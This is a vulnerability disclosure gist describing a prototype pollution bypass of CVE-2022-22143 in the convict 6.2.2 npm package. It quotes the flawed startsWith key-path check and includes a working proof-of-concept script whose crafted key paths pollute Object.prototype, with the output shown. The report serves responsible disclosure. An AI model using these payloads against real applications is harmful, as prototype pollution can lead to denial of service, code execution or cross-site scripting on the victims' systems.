dellalibera / 01_prototype_pollution_convict.md Secret

Created 7 months ago



Prototype Pollution in convict@6.2.2

01_prototype_pollution_convict.md

# Information

**Package:** `convict`

**Version:** `6.2.2`

**Github Repository:** `https://github.com/mozilla/node-convict/tree/master/packages/convict`

## Summary

This is a bypass of `CVE-2022-22143` .

## Details

The fix introduced, relies on the `startsWith` method and does not prevent the vulnerability: before splitting the path, it checks if it starts with `__proto__` or `this.constructor.prototype` . To bypass this check it's possible to prepend the dangerous paths with any string value followed by a dot, like for example `foo.__proto__` or `foo.this.constructor.prototype` .

Below the vulnerable code:

```
// https://github.com/mozilla/node-convict/blob/3b86be087d8f14681a9c889d45da7fe3ad9c

const FORBIDDEN_KEY_PATHS = [
  '__proto__',
  'this.constructor.prototype',
]
...

set: function(k, v) {
    for (const path of FORBIDDEN_KEY_PATHS) {
        if (k.startsWith(`${path}.`)) { //<-- foo.__proto__.polluted  returns false
            return this
        }
    }

    v = coerce(k, v, this._schema, this)
    const path = k.split('.')
    const childKey = path.pop()
    const parentKey = path.join('.')
    const parent = walk(this._instance, parentKey, true)
    parent[childKey] = v
    return this
}
```

## PoC

- node poc.js

Output:

```
undefined
polluted1
polluted2
polluted3
polluted4
polluted5
```

## Impact

The impact of this vulnerability depends on the application context. In some cases it is possible to achieve Denial of Service (DoS), Remote Code Execution (RCE), Cross-Site Scripting (XSS).

## Author

Alessio Della Libera

poc.js

```
// npm i convict
const convict = require("convict");
let obj = {};
const config = convict(obj);

config.set("this.constructor.prototype.polluted", "polluted");
console.log({}.polluted) // undefined

config.set("this.this.constructor.prototype.polluted1", "polluted1");
console.log({}.polluted1) // polluted1

config.set("foo.this.constructor.prototype.polluted2", "polluted2");
console.log({}.polluted2) // polluted2

config.set("this.__proto__.polluted3", "polluted3");
console.log({}.polluted3) // polluted3

config.set("foo.__proto__.polluted4", "polluted4");
console.log({}.polluted4) // polluted4

config.set("foo.__proto__.foo.__proto__.polluted5", "polluted5");
console.log({}.polluted5) // polluted5
```